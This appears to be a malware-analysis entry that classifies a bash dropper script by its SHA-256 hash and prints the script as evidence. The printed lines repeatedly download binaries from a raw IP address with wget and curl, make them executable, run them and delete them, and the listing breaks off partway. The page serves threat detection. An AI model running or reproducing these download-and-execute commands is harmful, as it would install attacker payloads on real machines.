09a7ebbcea85650a051f3c580edd7423daf1c78889a504d10e0b1f3878094bc2
Malicious dropper script
Raw-IP shell dropper executes and removes payloadsRepeated raw-IP payload download chmod execution
SHA-25609a7ebbcea85650a051f3c580edd7423daf1c78889a504d10e0b1f3878094bc2
MaleculeO₂(C₂Er)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/c9ff27; curl -O http://5.182.210.174/c9ff27; chmod 777 c9ff27; ./c9ff27 bc; rm -rf c9ff27; rm -rf c9ff27.1
3wget http://5.182.210.174/ba238b; curl -O http://5.182.210.174/ba238b; chmod 777 ba238b; ./ba238b bc; rm -rf ba238b; rm -rf ba238b.1
4wget http://5.182.210.174/e0e721; curl -O http://5.182.210.174/e0e721; chmod 777 e0e721; ./e0e721 bc; rm -rf e0e721; rm -rf e0e721.1
5wget http://5.182.210.174/c20e54; curl -O http://5.182.210.174/c20e54; chmod 777 c20e54; ./c20e54 bc; rm -rf c20e54; rm -rf c20e54.1
6wget http://5.182.210.174/871d05; curl -O http://5.182.210.174/871d05; chmod 777 871d05; ./871d05 bc; rm -rf 871d05; rm -rf 871d05.1
7wget http://5.182.210.174/9214c4; curl -O http://5.182.210.174/9214c4; chmod 777 9214c4; ./9214c4 bc; rm -rf 9214c4; rm -rf 9214c4.1
8wget http://5.182.210.174/d73222; curl -O http://5.182.210.174/d73222; chmod 777 d73222; ./d73222 bc; rm -rf d73222; rm -rf d73222.1
9wget http://5.182.210.174/5cecdb; curl -O http://5.182.210.174/5cecdb; chmod 777 5cecdb; ./5cecdb bc; rm -rf 5cecdb; rm -rf 5cecdb.1
10wget http://5.182.210.174/dcc038; curl -O http://5.182.210.174/dcc038; chmod 777 dcc038; ./dcc038 bc; rm -rf dcc038; rm -rf dcc038.1
11wget http://5.182.210.174/8dfcf1; curl -O http://5.182.210.174/8dfcf1; chmod 777 8dfcf1 …